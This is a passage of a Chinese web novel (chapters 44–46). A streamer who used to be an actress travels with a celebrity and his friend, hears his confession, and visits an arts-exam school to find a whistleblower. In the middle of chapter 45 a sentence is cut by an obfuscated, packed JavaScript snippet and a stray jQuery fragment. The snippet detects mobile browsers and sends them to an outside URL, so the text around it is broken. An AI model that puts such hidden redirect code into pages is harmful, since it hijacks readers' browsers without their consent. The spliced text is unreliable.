[同上,第二张好看得不像话,和其他几张根本不是同一个水平的] [我好像发现了更可怕的事,第四张自拍里,后面是不是躺着一个人??] [天啊,而且好像是个男的] [啊啊啊啊啊我们发现了什么奇怪的东西??] [那个男的是不是完事之后睡过去了?] [《完事》] [我就说时公子突然入驻香蕉平台这件事没那么简单!] [质疑香蕉,理解香蕉,成为香蕉] 评论区的画风越来越不对,好多人恨不得拿着放大镜,把所有照片的细节都搜刮一遍。 最后的火力集中在时闻和第二张的女主播是什么关系,时闻和自拍里那个看着不省人事的男的是什么关系。 林见微一条一条刷着,在被窝里笑成了狗。 然后时闻发来一条微信: [大劈叉老师,做主播实在是太难了][枯萎] 林见微简直要笑翻了:[你没有让经纪人帮你审一下再发吗?] 时闻:[我没有经纪人啊,个体户,小本生意自负盈亏] 林见微:[???] 时闻:[不喜欢被管着] 林见微:[那你……活该啊。] 时闻:[……] 过了一会儿,时闻又说:[要不,以后我发动态之前,先给你过目一下?] 林见微:[???我可不免费打工。] 时闻:[不免费,我请你吃饭] 林见微:[不用了,你还是赶紧想想怎么回复那些奇奇怪怪的评论吧] 时闻:[没事,让子弹飞一会儿] 第二天早上9:30,京南市高铁站。 天气还是一如既往的热,虽然还没到中午,但折腾到高铁站时林见微还是出了一身汗。 候车室里人来人往,人声鼎沸更平添了几分燥意。 林见微拿着一张纸扇着风,掏出手机给“劈叉有故事”群聊发了条消息: [我到高铁站了,在21A检票口,你们到哪儿了?] 故事里的“故”,也就是谷煜秒回:[我们也到了,你来休息室找我们呗,还有20分钟才检票呢。] 林见微:[??休息室??你们买的……是一等座?] 谷煜:[商务座啊,哎呀我忘了,你买的应该是二等座吧?没事,到我们这边来,上车后我帮你补票。] 林见微:[………不用了咱们到地方再见吧。] 谷煜:[别啊别啊来嘛来嘛] 时闻:[没事,二等座就二等座吧。对了我有一个提议,咱们三个玩个游戏,输的人去二等座怎么样?] 谷煜:[你确定?你愿意去二等座??你确定不会引发车厢地震???] 时闻:[又不一定是我输] 谷煜:[玩什么游戏啊] 时闻:[扔骰子怎么样,简单易行好懂] 谷煜:[行啊,那我扔了] 过了几秒钟,数字3出现在屏幕上。 时闻:[大劈叉你来] 林见微觉得这简直无厘头,但还是照做了,结果扔了个数字1。 林见微:[……] 时闻又扔了一下,是数字2。 谷煜:[哈哈我最大] 时闻:[我刚刚没说获胜条件,咱们是比小,谁扔得小谁赢。] 谷煜:[???玩我呢???] 时闻:[愿赌服输哦] 44.四十四 开车后,高铁商务舱内,林见微和时闻一前一后分别坐下。 舒适的空调温度,可伸缩调节的座椅,独属于自己的空间,早已准备好的小零食矿泉水,还有服务员小姐姐温暖的微笑,都令林见微心情大好。 以前做明星的时候她也做过商务舱,但苦哈哈做了一段时间的主播后,她已经忘了这些奢华尊享是什么感觉了。 感觉太爽了。 正当她调好座椅靠背,盖上毛毯,戴上准备好的眼罩,准备美美地睡一觉时,后面突然幽幽响起时闻的声音: “后面两个并排的位置没人来,咱们换到那边吧。” 林见微心里飘过一阵wtf。 她扯下眼罩,没好气地问:“别折腾了,我要睡了。” 正当她准备再次戴上眼罩时,时闻补道:“我还有好些关于直播的问题想问你请教呢,大劈叉老师。” 林见微动作一滞:“什么问题?不能等到我们到地方再说吗?” 时闻无奈道:“不行啊,我脑子里因为装了好多问题所以一直嗡嗡响,得尽快得到解答。” 林见微看着他那张无比英俊、一切都长在她审美点上的脸,又看看他无比真诚的双眸,内心唉叹一声。 好吧,看在他这张脸和如此真诚的态度的份上,就屈尊传道授业一下吧。 嗯,主要是为了这张脸。 她回头看了一眼,车厢后面果然有两个并排的座位空着。 她无奈扯下眼罩,恢复了座椅靠背,摊手道:“好吧好吧,算你小子走运。” 时闻笑嘻嘻地朝后面走去:“谢谢大劈叉老师不吝赐教,在下感激不尽。” 两人在后面位置落座,时闻伸头过来,那张英俊冷沉,棱角分明的脸格外的近。 一股雨后青松的味道隐隐传来。 今天的他一身深灰色西装,衬得黑眸格外幽深。他无比认真地看着她,发出的声音磁性低沉: “大劈叉老师,香蕉平台上的人都在猜测你我的关系,你说我该怎么回应呢?” 林见微一愣,晃过神后说:“让子弹飞一会儿呗,最好的回应就是不回应。” “再说了,现在大家都擅长捕风捉影,空穴来风,你还发了波波、谷煜还有全体主播的照片呢,难道还要一一解释和所有人的关系?” 时闻沉声嗯了一声,半晌后问:“你下一步事业上有什么打算吗?” 林见微:“认真准备《星璨》,认真直播,哦对了,可能再和几个朋友一起拍拍搞笑短视频。” 时闻好奇地“哦”了一声:“什么搞笑短视频?” 林见微把大河向东刘的视频风格和内容大致形容了一遍。 时闻歪头思考了一下深沉道:“可以考虑……其实你要不要同时看一看短剧市场?” 林见微非常意外,她从没觉得时闻这种老干部会对短剧感兴趣。 她觉得时闻绝对是那种奉传统艺术为神,高高在上视短剧为粪土的人。 看她太惊讶,时闻立刻解释道:“我知道你没有演戏经验,但短剧只需要你长得好看就行了,其他的不需要什么了。” 林见微:“……谢谢你夸我长得好。” 时闻嘿嘿笑道:“我拐弯抹角地认识几个进军短剧市场的朋友,你要是感兴趣就告诉我。” 林见微这次是真的感激地说:“谢谢你,我会认真考虑的。” 半晌后问道:“你会考虑屈尊来演短剧吗?” 果不其然,时闻脸上现出犹豫甚至难堪的神色,但他想了很久,还是沉声说:“如果遇到很好的制作团队,会考虑一下。” 林见微笑了,时闻向来不扯谎,所以他既然这么说了,心里也一定是这么想的。 看来她昨晚说的话还挺起作用的。 时闻不是一个轻易动摇的人,不然也不会被冠上老干部称号了。 现在他愿意放下壁垒,倾听她的话,林见微觉得还蛮受用的。 就好像,她手里有一把可以通向他心门的钥匙。 这时时闻又说:“我昨晚找朋友探了探《星璨》的情况,你想提前了解一些节目的细节吗?” 林见微本来都想歪头睡觉了,听闻此言精神大振,立刻频频点头:“想,想,想。” 时闻笑道:“你还真是个工作狂。我打听了一下评委阵容,每一期会有四个评委,固定的是声乐导师季清云,舞蹈导师蒋方奇,星途导师时穆飞。” “每期还有一名飞行嘉宾,第一期请到的是尤有芒。” 这几个名字犹如炸雷,一个比一个响地炸裂在她脑海中。 以至于听完之后,她整个脑袋好似经历了一场核爆。 季清云是她的老朋友了,两个人被共同的朋友约到了一个饭局,一见如故。 季清云是个醉心于音乐世界的人,生平只有两大爱好:做音乐、吃火锅。 他本来不想进娱乐圈这个大染缸的,但发行的一支民谣单曲意外火爆整个网络,所以他也一朝成名。 签约经纪公司的时候,他特意强调公司必须尊重他的个人意愿和创作节奏,不能强迫他写不感兴趣题材的歌曲,不能强制他每年出专辑。 他还经常玩消失,动不动就闭关,闭关的时候手机关机人间蒸发,没有任何人可以找到他。 除了几个家人和最为亲近的朋友。 蒋方奇现在已经年过三十,是最早的一批去韩国当练习生然后出道的爱豆,他的舞蹈火遍全国甚至全亚洲,各大晚会里都是压轴出场。 但他也是这几个人里面她最不熟悉的。 时穆飞是时家长子,林见微甚至无法相信和理解,刚刚时闻就那么云淡风轻、轻描淡写地说出了这个名字。 她更无法相信,时穆飞这个整天灯红酒绿不学无术的家伙,竟然会成为《星璨》导师。 看来他和小麋鹿的离婚新闻给两个人都赚足了流量。 尤有芒也来了。 她自从变成大劈叉之后,就没奢望过还能近距离面对面见到昔日的好友。 没想到还有这么一个机会。 如果没猜错的话,尤有芒来《星璨》当飞行嘉宾,是为了宣传她的新剧,《红豆思南国》,这是一部古装偶像剧,由她和当红大热小生兰栀子领衔主演。 见林见微半天没言语,时闻温言相劝道:“没事,这些人的腕儿是都挺大的,但你放宽心态,只要硬实力过得去,他们不敢不公正的。” 林见微也没法解释什么,就顺水推舟道:“嗯嗯。” 这时时闻突然抬起头:“谷德猫宁。” 林见微:“???” 只见谷煜一副欠兮兮的样子,狗狗祟祟溜了进来。 林见微眼瞅着他笑嘻嘻地在前面一屁股坐下,露出大白牙:“你们过得怎么样?” 时闻淡淡地说:“如果你没有过来,我们过得还算不赖。” 谷煜摊手无奈说:“我实在是想念你们,跨越了那么多节车厢来和你们相会,而你却是这个冷冰冰的态度。” 时闻懒得理会他的矫情,干脆开始闭目养神,谷煜嫌弃地挪开目光,看着林见微问:“你最近还住在酒店里?” 林见微点头:“还在找房子,不太好找……” 谷煜:“你想租什么样的房子?” 林见微偏头想了想:“一个不大的一居室,安静一点,交通发达,房东负责任好说话……” 谷煜神秘一笑:“你别说,我知道一个合适的地方,但是最后一条不一定满足。” 林见微好奇问道:“什么地方?” 谷煜嘿嘿一笑,冲着正闭目养神的时闻扬了扬下巴:“他家楼下那间房子正在招租,一居室,一个月加上水电大概三千块钱,那个小区的环境你也看过了,闹中取静,但交通发达。” 林见微被他的脑回路震惊到了,愣了好半晌,所以丝毫没有注意到一旁的时闻眼睛已经睁开了一条缝,并且沉默而好奇地竖起耳朵。 林见微的大脑处理了一会儿信息,才问:“你……你是说你觉得我俩可以邻居?而且,你的意思是,他是房东??” 谷煜不无得意地说:“怎么样,我是不是很高明,你自己出去找房子,还不如找个知根知底的房子,你说呢?” 林见微:“……” 这时时闻终于缓缓睁开眼睛,沉声道:“谷煜,你怎么这么轻易地就帮我把房子租出去了。” 谷煜笑道:“你那个破房 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这位仁兄早已坠入爱河而不自知,还一味地想用理智解释一切,殊不知一往情深的感情是最不能用理智处理的。 谷煜明白他的意思,时闻和苏紫晴是奉了时穆烟的命每周末都见面吃顿饭,而时穆烟的意思很明确,希望时闻和苏紫晴发展出感情,二人尽快成婚。 苏家虽然比不上时家,但毕竟也是富庶人家,知根知底,苏紫晴又对时闻一往情深,所以正好成全了这一桩美事。 时闻本可以回答说他们只是奉命一起吃饭的朋友关系,但这个榆木脑袋非要实事求是,心里觉得如果遵循姐姐的安排,他和苏紫晴很可能被迫发展出非朋友关系,所以就干脆照实回答了。 谷煜简直气到冒烟。 林见微这时也把目光投向窗外,快速飞逝的麦田硕大荒凉,一如她现在的心境。 沉默半晌后她轻轻问道:“那你和冬江那位女生打算怎么办?” 时闻脸色骤然一暗,仿佛受到了什么重大打击,垂下头,很长时间都没有回答。 乘务员小姐姐再次在车厢内走动起来,耐心温柔地挨个座位询问需不需要饮料和小食。 谷煜没心情地摆手示意她赶紧走,乘务员小姐姐似乎感受到了这里不寻常的低气压,踩着“本次列车前方即将到达冬江车站”的车内广播快步离开。 车速渐渐减慢,窗外灰蓝色的天空下暗黄麦田渐渐清晰起来,每一条黑色沟壑都看得清清楚楚。 当车速再次显著减慢,窗外开始出现高速公路和几栋只属于城市的高楼时,林见微和谷煜开始收拾随身小包,检查随身证件,这时只听时闻冷不丁地说: “我只能把她深深地埋在心底,用一辈子敬爱她怀念她,如果她过得幸福,我会在远处默默给予她最真挚的祝福,如果她陷入危机,我一定会拼尽全力鼎力相助,哪怕头破血流也要让她成为世界上最顺心的人。” 林见微和谷煜都震惊于他突如其来的直白表达,半晌说不出话。 窗外高楼大厦渐次出现,城市的车水马龙依次略过,火车缓慢滑行,一点一点向站台挪动。 如迷宫一样的分叉铁路枝叶纵横,向不同的方向延展而去,林见微愣愣地看着窗外景致,好半晌才喃喃道:“你真是一个长情之人。” 谷煜又懊恼又震惊,看着林见微那失神的样子,忍不住低吼道:“时闻,你太糊涂了,你们两个面都没见过几次,一个天上一个地下,你那份感情根本不是爱!” 时闻很少激动,但此刻他青筋凸起梗着脖子道:“怎么不是爱?我全心全意地敬重她,愿意奉献一切只盼她好,可是,可是……” 说着他竟然有些哽咽,眼眶也泛起一片红,他止住话头,长长地深叹一口气,转头看向窗外。 火车已经滑入站台,窗外暗了下来,时闻和林见微心事重重的身影都清晰映在窗户上。 火车停下,站台上人来人往,列车门随着“滴”的一声缓缓打开,林见微和谷煜拿起背包,这时只听时闻在身后幽幽说: “……可是她还是跳楼了,这辈子很可能再也醒不过来了。” 45.四十五 林见微脑子嗡的一声响。 一切突然显得很不真实,她看着谷煜恨恨地把一脸颓丧的时闻从座位上拽起,连拖带拽地推到列车门外,自己也机械地迈动脚步跟了上去。 一股热浪扑面而来,人来人往的喧嚣不绝于耳,然而一切都化作背景板,她的眼里只剩下时闻那颓然的站姿和他刚刚落下的话。 他说的那个冬江的女生,难道是……她自己? 林见微摇摇头:不可能,这太不可思议了,她怎么可能是他的白月光。 可是时闻偏偏又补了一句:她本佳人,风华绝代,却惨遭横祸,实在太令人痛心。 谷煜推着赶着把两人引到外面,林见微凭借肌肉记忆完成了坐电梯下楼、刷身份证出站、找网约车停靠点的流程。 这时她才意识到,她不知道该去哪里。 慌忙调出之前的聊天记录,那人微信名是冬江暖阳,住在冬江城市花园小区,约定的是下午两点进行采访。 现在是中午十二点,他们还可以吃个饭再赶过去。 但三人明显都没啥心思好好吃饭,干脆直接打了车往目的地去。 早上从京南出发之前林见微给冬江暖阳打了个电话,确认了今天下午的采访计划,路上林见微又拨通了电话,心想如果能早点采访也好。 谁知刚拨了电话,立刻被对方挂断了。 林见微心里顿时涌起一阵不详的预感,和谷煜时闻对视一眼,立刻回拨过去。 还是一样的结果,刚拨过去就立刻被挂断了。 林见微锲而不舍地又拨了第三次电话,这次对方接通了,但只撂下一句“今天的采访取消”,就立刻挂了电话。 谷煜气地一把夺过手机:“我给他打,今天非问出个究竟不可!” 林见微拦住他:“不用了,他这样摆明了是不想理会我们,可能有人捷足先登,告诉他这个采访有猫腻。” 见谷煜还要打电话,林见微一把夺回手机:“不用了,他拉黑我只需要几秒钟,我们再打过去也没有意义。” 谷煜明白她说得没错,懊恼颓然地拍了下大腿:“那怎么办,我们不是白来了?!” 林见微快速回忆了一下,不是特别确定地说:“我记得他的朋友圈里分享过艺考的资料,好像是他女儿今年要艺考……” 说着她突然想起了什么,问网约车司机:“师傅,冬江市最大的几个艺考机构是什么?” 司机想了想,回头说:“高博教育、迅敏培训、百分教育,这三个是我们这里最出名的培训机构。” 林见微低头搜了下地图,发现三个机构在市内都各有一个校址,离得不太远,也就两三公里那样。 “这样吧,我们三个人现在分头去不同的机构,打探一下有没有学生家里是开出租车的。” 谷煜皱眉道:“这样能行吗?且不说我们根本不确定这个人的女儿会在这三家机构上课,也不说这么找无异于大海捞针,我们过去这样直接问,人家会不会怀疑我们是拐卖人口的坏人……” 时闻低沉插话:“没事,我在这边有几个熟识的记者朋友,我现在打个电话,让他们帮忙带我们去。” 谷煜两眼放光,把刚刚的不愉快一股脑都暂时忘了,崇拜地仿佛看救世主一样:“老哥,还是你厉害啊!” 时闻淡淡笑了笑:“来之前我就和他们打过招呼了。咱们几个人生地不熟,又不懂得怎么采访,一开口就露馅,所以我就找他们提前请教了一下采访技巧。” 谷煜友好地拍了拍他的肩膀:“你想得真周到,谢谢啊!” 时闻立刻给朋友打了电话,对方秒接,听到情况后立刻表示可以半小时后在市中心的高博教育门口碰面。 车内的气氛一下子变得轻松了起来,谷煜开了几个不痛不痒的玩笑,林见微和时闻都相视一笑,刚刚的凝重一扫而光。 林见微改了网约车的目的地,二十分钟后车子到达了高博教育,三人道了声谢后纷纷下车。 正午的阳光火辣辣地打在头顶,一股热浪迅速裹挟而来,三人默契地一溜烟小跑进了高博教育那栋阔气的摩天大楼。 一股凉意扑面而来,三人在一楼找了家咖啡馆坐下。 刚刚坐定,三人便被楼梯口一张巨幅照片吸引了目光。 那是一个扎着马尾,穿着黑色短袖上衣的年轻女生,干净的面容未施粉黛,是清水出芙蓉一样的令人心惊的美貌。 她看上去也就十七八岁,但却透着和年龄不符的清冷厌世。 那是参加艺考时的她自己,十七岁的林见微。 没错,她当年就是在高博教育参加的艺考培训,只不过那个时候高博教育还是一个小机构,她和十几个学生挤在一个老旧漏雨,冬冷夏热的小教室里,日夜练习。 自从她出名后,高博教育因为培养出了知名演员名气大增,不少人慕名而来,创始人挣得盆满钵满。 几年前高博教育豪气地卖下了一整栋大楼,并把林见微当年参加艺考的照片挂在门口。 此时谷煜愣愣盯着那照片,半晌对时闻咋舌道:“看,你前女友。” 时闻板着脸不悦地正色道:“是我偶像,不是前女友,我没谈过恋爱,是个小白。” 这么说着他跟跟林见微和谷煜大概介绍了下接下来的情况。 他有个高中同学在冬江日报当记者,名叫陈晋,手下带着两名实习生,一个叫向晚,一个叫龙蔚然,是冬江大学新闻系的女大学生。 之前听说谷煜和林见微要冒充香蕉平台采访舒养酸奶举报人,时闻觉得有点不靠谱—— 就谷煜那二不愣登的样子,三下两下就露馅了。 两人的计划有点太异想天开了,还得他亲自出马。于是他就给高中同学陈晋打了电话,请他们帮帮忙。 正巧陈晋部门在策划一系列关于艺考的采访,接到电话后就带着两名实习生赶了过来。 陈晋看上去挺稳重的,圆脸上架着一副金丝眼镜,一看就是知识分子。 向晚和龙蔚然看着活力朝气,兴奋好奇的目光从一开始就聚焦在戴着黑色口罩的时闻脸上。 陈晋笑道:“我们部门最近想采访一些家境普通的艺考生,你们说的那个出租车司机,听上去是个很好的采访素材。” 谷煜呵呵笑着,大剌剌找了个座位一屁股坐下:“那咱们这算是互相帮助,哈哈!” 陈晋示意众人找地方坐下,并笑着指着二脸兴奋的向晚和龙蔚然: “你们还帮了她俩一个忙,听说这里有时大明星,俩人兴奋得跟什么似的,中午饭都不让我好好吃,一个劲儿地催着撵着把我赶到这儿。” 向晚听了也不藏着掖着,大大方方地看向时闻,从包里拿出采访本和笔,看了圈四周后压低声音: “时先生,可以麻烦你在扉页帮我签个名吗?” 龙蔚然也拿出采访本,雀跃叫道:“我也想要!” 时闻淡淡点头,拿起笔在两个本子里迅速签下名字,推了回去,整个过程没有和二人发生任何眼神交流。 向晚和龙蔚然兴奋地叫了一声:“看来他的高冷深沉不是人设呢!” 说着又好奇地看向谷煜和林见微,犹豫了片刻还是问道:“你们……你们也是明星吗?” 谷煜帅气逼人地拢了拢头发,全身散发着劳资全宇宙最帅的万丈光芒。 陈晋无情戳穿:“他是时闻的一个朋友,”说着指着林见微,“但这位以后可能是——” 向晚和龙蔚然又发出一声惊叫,仔仔细细端详了半晌,而后龙蔚然道破端倪:“!我知道你是谁了,你是大劈叉!!” 林见微一怔,她虽然在香蕉平台小火了一把,但是远远达不到走在路上能被人认出来的地步。 正疑惑间,向晚也反应过来,惊叫道:“天呐,你就是大劈叉??你知不知道你已经火到各个平台都在疯狂转发你的视频??” 林见微还真没意料到这个,只听向晚喋喋不休地续道:“微博、抖音、小红书、朋友圈,哪里都有你的光辉事迹!你现在已经被网友封为女性之光,正义护卫者,唱跳全能的神,锦鲤本鲤,翔的克星!” 林见微瞪大眼睛:“我这么火了吗??” 向晚:“你本来就够火了,之前你直播自己被催债的全过程,又单枪匹马向高翔叫板开战,而后马不停蹄地参加《星璨》选拔赛,这一切都给你赚足了流量!” “但是时闻又发了你的照片,引发了一波空前的讨论度,所以你一下子火出圈了,现在全国人民都知道你的英勇事迹了!” 林见微这下是真的震惊了,她以为自己只是在香蕉平台小火了一把,没想到这把火竟然还烧到了全国人民心中。 她可太荣幸了。 向晚越说越兴奋:“现在网上都是关于你的讨论和热搜!你……” 说到这里向晚突然语塞,脸也一下子发热发红,好像说了什么不该说的话。 林见微疑问地看着她,向晚挠挠头,不好意思地说:“对不起,我不是那个意思,对不起!” 这下就连谷煜也好奇了起来,追问道:“怎么了,是我们大劈叉又上什么热搜了吗?” 向晚脸色通红不愿再说下去,时闻从旁冷冷道:“今天早上刚刚出现的热搜,词条是#星璨大劈叉入选黑幕。” 林见微一下子明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591720|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白过来,肯定是有人看她不顺眼,觉得她的参赛名额名不正言不顺,故意把事情捅到公众视线面前。 竟然还花钱买热搜,真是有心了。 谷煜立刻替她叫屈:“岂有此理!我们大劈叉都这么努力了,为什么还要给她泼脏水!谁干的!查出来我揍他!” 时闻轻咳一声:“词条刚刚出来就引发了广泛讨论,某种意义也给大劈叉带来了名气,未见得一定是坏事。没事的,热搜嘛,都是有时效性的,很快就会过去。” 谷煜:“你说得轻巧!网上那些人嘴有多黑你不是不知道,大劈叉,最近两天你好好歇一歇别上网,这事交给我们,我保证一条一条喷死那帮水军!” 林见微苦笑:“谢谢,没事的我心理承受能力没那么差,而且走这条路迟早要面对更猛烈的风雨……” 这时向晚和龙蔚然重新把本子摊开放到她面前,又递过来笔,殷切而鼓励地看着她: “大劈叉,一切风雨都是暂时的,我们相信你早晚有一天会火,所以,现在给我们签个名吧!” 林见微一下子颇为感动,眼眶里甚至涌起泪花,她慌忙低头接过本子,翻到扉页。 扉页的右下角是时闻挥洒遒劲的签名,林见微看了半晌,在下方落笔。 这时陈晋的声音从头顶响起——他刚刚趁机去看了看楼层分布——“艺考培训教室在19楼。” 众人应了一声。 这么一分心,林见微下意识地开始写“木”字。 刚写了一横一竖,她突然愣住,心中警铃大作,然后慌乱把那一竖向左补了一笔,形成一个突兀转弯。 然后她硬着头皮,用她能想到的最龙飞凤舞的方式地写下“劈叉”二字。 林见微的签名她练过签过无数次,但大劈叉的签名她只能临时自创,所以写得很接近她原本的笔迹。 时闻在一旁看到了一切,幽暗的眸子里有什么东西一闪而过。 那提笔的架势,熟悉的一横一竖,还有相似的笔迹,时闻心里深处的某个地方仿佛地震了一般,狠狠动了一下。 年少时他曾得到过她的签名,奉若珍宝,偷偷看过无数次。 俗话说字如其人,林见微的签名秀丽而不失锋芒,一横一竖如刀枪斧戟,一撇一捺圆润饱满,他偷偷描摹过许多次。 所以刚刚的那一瞬间,他骤然陷入到一种巨大的迷惘和恍惚中。 然而一切都发生在瞬息间,他觉得自己一定是魔怔了,眼花看错了。 林见微迅速给向晚和龙蔚然签完字,陈晋说事不宜迟趁高博教育中午还没下班前赶紧上去办正事,时闻和谷煜点头说好,一行人便起身坐电梯上了19楼。 坐电梯上来后几人直奔前台。 前台小姐姐见一大波人一起涌来,还以为来了生意大单,两眼放光脸庞堆笑,陈晋自报家门后小姐姐的笑意稍稍有些收敛,但还是客客气气地问道:“您和我们领导约好了是吗?” 陈晋点头:“提前打了个招呼,你们张总知道我们过来。但我们这次主要是想采访一些学生家长,尤其是家境比较普通的那些。” 小姐姐频频点头:“没问题,我们这里的培训费用比其他艺考机构低20%左右,对于家境中等以下的优秀考生还会按需给予费用减免。” 陈晋:“我们听说了这个情况,所以想特意来了解一下情况,你们这边有没有家里是小个体户,工厂工人,或者出租车司机这种?” 小姐姐低头翻了翻桌上的一本名册,仔细看了半晌后说:“有的,我们上个季度刚刚给五名学生发放了贫困生补贴,三个来自附近的农村地区,有一个家里是纺织厂工厂工人,还有一个父亲是开出租车的。” 时闻、谷煜、林见微三人迅速交换了下目光。 陈晋:“能把这五个人的资料给我看看吗?” 小姐姐稍稍有些迟疑,表示需要给张总打个电话请示一下,陈晋点头说好。 小姐姐用前台座机拨通了电话,对面听说陈晋等人过来,立刻表示说要全力配合采访,还说如果不是因为有个紧急的会议,就亲自过来打个招呼。 挂断电话后小姐姐立刻把名册拿出来,哗啦哗啦翻了几页,指着几行统计信息:“这里是他们的基本信息和家里人的联系方式。” 陈晋接过名册,在众人面前摊开,时闻、林见微、谷煜纷纷围拢上去。 几行刚刚被高亮标示出来的信息里,最后一行赫然写着: 学生信息:刘伶俐女 17岁 冬江市第三中学 189xxxxxxxx 家长信息:刘兴和男 45岁 冬江暖阳出租车公司 188xxxxxxxx 46.四十六 谷煜激动地指尖颤抖指着这行信息,拼老命抑制住兴奋和惊叫,和林见微时闻有力地交换了眼神。 时闻轻叹一口气,默默挡在谷煜和满脸疑惑的前台小姐姐中间。 陈晋:“能帮我们把这页表格复印一份吗,我们希望能联系一下这五位同学的家长。” 前台小姐姐立刻点头说没问题,然后如一阵旋风一样跑到办公区内,没一分钟就一路小跑回来,手里几份复印件哗啦作响。 “给你!”小姐姐把复印好的表格塞进陈晋手里。 陈晋看了时闻一眼,后者默默点了点头,陈晋遂说:“谢谢!那我们就不多叨扰了,耽误你们吃饭了,不好意思!” 小姐姐连忙摆手:“哪里哪里,如果有什么别的需要的随时来找我们!我把我电话也留给你们,如果有需要就给我打电话。” 陈晋和小姐姐互相交换了电话号码,一行人本来都准备坐电梯去一楼,这时前台小姐姐突然大喊一声:“等一等!” 众人惊得回头,只见小姐姐叫道:“最后那名学生刘伶俐正在我们这里上课呢,下午1:30下课,你们要是不急就等一会儿,她的家长会来接她。” 众人大喜,陈晋立刻点头:“好,那我们就在这里等一会儿。” 时闻看了看表,现在是12点45分,如果不出意外,过一段时间门口就会有来接学生下课的家长。 到时候顺藤摸瓜找到东江暖阳的出租车司机应该不是难事。 几人在门口的一列椅子上坐下,向晚和龙蔚然还贴心地从不远处的饮水机给大家倒了几杯水。 时闻、谷煜、林见微和陈晋坐在前面一排,向晚和龙蔚然二人坐在后面,开启了窃窃私语模式: “他真的好帅啊啊啊啊啊!”“比电影里还帅一百倍!”“我从来没见过这么有气质,五官这么立体的人我的妈呀”“你说我要是再找他要个签名,是不是有点不要脸?” 时闻抱臂倚在座椅上,熨帖均匀的深灰色衬衣包裹着笔挺的身材,从侧面看他的鼻梁异常高挺,下颌线棱角锋锐。 辅导中心的大门开开关关,不时有学生老师进进出出,绝大多数的人都会不自觉地多往他坐的地方看一眼,然后低声感叹一句快步离开。 这不意外,毕竟时闻的气质太过清绝出尘,坐在这里如同鹤立鸡群,虽然黑色口罩将大半张脸遮得严严实实,但依然挡不住他独特的清冷矜贵气质。 林见微不无同情地捅了捅不停摆弄发型的谷煜:“别白费功夫了,我们怎么折腾都只是背景板,群众的眼睛是雪亮的。” 谷煜愤愤地抱起双臂:“怎么的,谁不是两只眼睛一个鼻子一张嘴,为什么有的人就非得比别人长得好?” 林见微耸耸肩:“女娲造他的时候心情好,精雕细琢做出来的,我们都是泥点子,没办法。” 谷煜还要再反驳什么,这时他的手机突然呜哇响了起来。 “乌蒙山连着山外山,月光洒下了响水滩……” 林见微皱眉,迎着她复杂审视的目光,谷煜嘿嘿一笑拿起电话,然而脸色在看到来电人名字的那一刻突然变得无比凝重。 “喂?”谷煜的声音发紧,有些变调。 林见微立刻竖起耳朵,本能地觉得可能是发生了什么不好的事情。 “老板,你现在说话方便吗?”听筒里传来一个年轻男人的声音,听上去有些焦急。 谷煜压低声音说了句“你等一下”,然后匆匆起身朝安全出口的楼道走去。 林见微和时闻迅速互相看了一眼,林见微用口型问了一句“怎么了”,时闻先是缓缓摇头,而后又悄声道:“可能是公司那边出事了。” 林见微立刻焦急地指着谷煜消失的楼道:“那怎么办,要不要过去看看?” 时闻摇头:“先等一等。” 等待的过程很是漫长,再加上是中午,很容易犯困,没过一会儿林见微就哈欠连天。 向门内张望片刻,她起身向内走去。 身后传来时闻惊讶的声音:“谷煜那么大人了,肯定不会有事,你不用跟去。” 林见微回眸一笑,指着艺考培训的地方说:“我去里面看看,我以前也报名过艺考,现在就当回忆一下过往了。” 时闻脸上闪过一丝释然,目送着林见微消失在玻璃门内。 中午时分排课不多,林见微逛了一圈发现大多数教室都空着,只有最里面的一个教室传来声响。 一个尖利女声在宁静的空气里显得异常刺耳:“连这都不会,还想当演员??” 那声音很是熟悉,林见微瞬间眉头紧皱。 蹑手蹑脚循声找去,走廊尽头最后一间教室果然还在上课。 从后门窗口偷摸望进去,只见不大的教室里坐着二十几个学生,一个男生面色羞愧地站在中央,其他人投去凝重同情的目光。 一个三四十岁,尖嘴猴腮的中年女人站在最前面,双臂交叉抱在胸前,严厉的目光如刀子一样剜在那男生脸上。 凝重的气氛下空气都有了重量,沉甸甸地压了下来,只听那女人用令人胆寒的声音训大声道:“我昨天都白讲了,你也白听了是吧?” 说着她目光在教室里逡巡一圈,众人纷纷低下头。 “你来说说,我们昨天讲的哭戏应该怎么演?” 那个扎着低马尾,被随机提问到的女生战战兢兢站了起来,低着头也不敢看老师,嗫嚅道:“应该回忆自己过往的相似经历,适当修改应用。” 她的声音细如蚊子,说到后面几乎听不清她在说什么,她明显回答对了,但那老师仍是不满:“回答要大点声!你这个样子,怎么站在台上说台词??” 那女孩子明显被吓住了,站在那里一声不敢吭。 老师恨恨地叹了口气,叫了声“坐下吧”,那女孩子如得了敕令一般如释重负地坐了回去。 林见微心情复杂地看着一切,记忆一下子回到了许多年前。 十七岁的时候,她也像刚刚那个扎着低马尾的女孩子一样,遭受着毫无由来的严厉训斥。 发出训斥的人正是现在这个站在讲台上为人师表的女人,徐芳菲。 徐芳菲没什么能力,但很擅长欺软怕硬,依照学生的家庭背景进行区别对待。 当年林见微家穷,所以每节课都会被提溜出来,如当众耍猴一般,接受徐芳菲吼叫式的耳提面命。 徐芳菲不断地PUA她,让她以为自己没有表演天赋,甚至阻止她去参演自己的处女作《月淡花浓》…… 徐芳菲那干巴巴的声音继续传来: “我们昨天讲到,哭戏是比较难的一门学问,好多有名的演员都在这上面翻过车……” “……我们讲究真听真看真感受,但是咱们毕竟年龄有限,阅历不够,有的时候很难精准把握哭戏的火候,大多数人哭不出来,有些人哭了之后鼻涕眼泪都下来了,不美观……” “考试的时候会考即兴表演,很可能涉及哭戏,到时候我们应该积极调动过往的类似经历,加以运用……” “……实在不行,掐自己大腿根,逼自己哭出来也行……” 这时林见微推门进来,笔直地看着正侃侃而谈的徐芳菲,一字一顿说:“我有异议。” 徐芳菲和一屋学生都讶异转头,只见一个穿着白T恤牛仔短裤的女生落落大方站在后门门口,眼神清亮而不失锐利。 她这么一说如同石子投入湖泊,激起层层涟漪。 